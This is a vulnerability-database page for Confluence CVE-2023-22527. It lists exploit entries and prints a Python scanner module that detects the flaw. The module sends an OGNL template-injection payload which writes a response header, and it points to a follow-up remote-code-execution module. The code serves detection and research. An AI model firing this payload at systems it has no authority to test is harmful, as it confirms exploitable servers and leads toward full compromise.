Atlassian Confluence CVE-2023-22527 Detection
| Reporter | Title | Published | Views | Family All 103 |
|---|---|---|---|---|
| CVE-Confluence | 13 Aug 202611:38 | – | githubexploit | |
| Exploit for Injection in Atlassian Confluence_Data_Center | 23 Jan 202417:07 | – | githubexploit | |
| Exploit for Injection in Atlassian Confluence_Data_Center | 26 Feb 202402:34 | – | githubexploit | |
| BARE | 13 Oct 202602:00 | – | githubexploit | |
| Exploit for Injection in Atlassian Confluence_Data_Center | 23 Jan 202417:07 | – | githubexploit | |
| Exploit for Injection in Atlassian Confluence_Data_Center | 23 Jan 202408:53 | – | githubexploit | |
| Exploit for Injection in Atlassian Confluence_Data_Center | 22 Jan 202411:38 | – | githubexploit | |
| Exploit for Injection in Atlassian Confluence_Data_Center | 23 Jan 202409:28 | – | githubexploit | |
| Exploit for Injection in Atlassian Confluence_Data_Center | 25 Jan 202405:32 | – | githubexploit | |
| Exploit for Expression Language Injection in Atlassian Confluence_Data_Center | 10 Mar 202608:01 | – | githubexploit |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Atlassian Confluence CVE-2023-22527 (SSTI / OGNL) detection."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Atlassian Confluence CVE-2023-22527 Detection',
'description': (
'Detects CVE-2023-22527 template injection on /template/aui/text-inline.vm '
'via a non-destructive OGNL header write (no command execution).'
),
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': [
'web', 'scanner', 'cve', 'cve2023', 'confluence', 'atlassian',
'ssti', 'rce', 'kev', 'vkev', 'vuln',
],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{'capability': 'admin_surface', 'from_detail': ''},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [
'exploits/multi/http/confluence_cve_2023_22527_rce',
],
},
},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2023-22527',
'https://confluence.atlassian.com/pages/viewpage.action?pageId=1333335615',
'https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/',
],
'cve': 'CVE-2023-22527',
}
def run(self):
path = '/template/aui/text-inline.vm'
# Safe OGNL: set response header instead of freemarker Execute().exec
data = (
"label=aaa\\u0027%2b#request.get(\\u0027.KEY_velocity.struts2.context\\u0027)"
".internalGet(\\u0027ognl\\u0027).findValue(#parameters.poc[0],{})%2b\\u0027"
"&[email protected]@getResponse()"
".setHeader(\\u0027x_vuln_check\\u0027,\\u0027ks-confluence-22527\\u0027)"
)
r = self.http_request(
method='POST',
path=path,
allow_redirects=False,
headers={'Content-Type': 'application/x-www-form-urlencoded'},
data=data,
)
if not r:
return False
header_val = ''
try:
header_val = r.headers.get('x_vuln_check') or r.headers.get('X_vuln_check') or ''
except Exception:
header_val = ''
body = (r.text or '').lower()
if not header_val:
return False
if 'empty{name=' not in body:
return False
self.set_info(
severity='critical',
reason='Confluence CVE-2023-22527 SSTI confirmed (OGNL header write)',
path=path,
evidence=f'x_vuln_check={header_val}',
)
return True
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Sep 2026 06:36Current
8.9High risk
Vulners AI Score8.9
CVSS 3.19.8
CVSS 310
EPSS0.99984
SSVC